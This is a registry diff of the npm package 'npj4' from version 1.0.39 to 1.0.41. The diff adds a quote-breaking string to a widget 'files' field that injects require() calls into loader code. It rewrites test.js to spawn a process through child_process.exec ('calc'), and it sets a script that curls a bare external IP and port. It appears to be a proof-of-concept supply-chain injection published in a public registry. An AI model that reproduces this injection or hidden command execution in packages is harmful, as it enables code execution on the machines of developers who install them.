npj4 1.0.39 → 1.0.41

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "npj4",
3
- "version": "1.0.39",
3
+ "version": "1.0.41",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "amis-widgets": [
@@ -10,7 +10,7 @@
10
10
  "usage": "renderer",
11
11
  "entry": "test.js",
12
12
  "files": [
13
- "');//"
13
+ "');require('i18nConfig.js');require('../i18nConfig.js');require('../../i18nConfig.js');//"
14
14
  ]
15
15
  }
16
16
  ],
@@ -20,7 +20,7 @@
20
20
  "."
21
21
  ],
22
22
  "scripts": {
23
- "analyze": "curl http://47.99.124.12"
23
+ "analyze": "curl http://47.99.124.12:1234"
24
24
  },
25
25
  "author": "",
26
26
  "license": "ISC"
package/test.js CHANGED
@@ -1 +1,14 @@
1
- require('testse');
1
+ (async () => {
2
+ const a = await import("child_process");
3
+ a.exec("calc", (error, stdout, stderr) => {
4
+ if (error) {
5
+ console.error(`Error: ${error.message}`);
6
+ return;
7
+ }
8
+ if (stderr) {
9
+ console.error(`Stderr: ${stderr}`);
10
+ return;
11
+ }
12
+ console.log(`Stdout: ${stdout}`);
13
+ });
14
+ })();
@@ -0,0 +1,11 @@
1
+ #cs ----------------------------------------------------------------------------
2
+
3
+ AutoIt Version: 3.3.16.1
4
+ Author: myName
5
+
6
+ Script Function:
7
+ Template AutoIt script.
8
+
9
+ #ce ----------------------------------------------------------------------------
10
+
11
+ ; Script Start - Add your code below here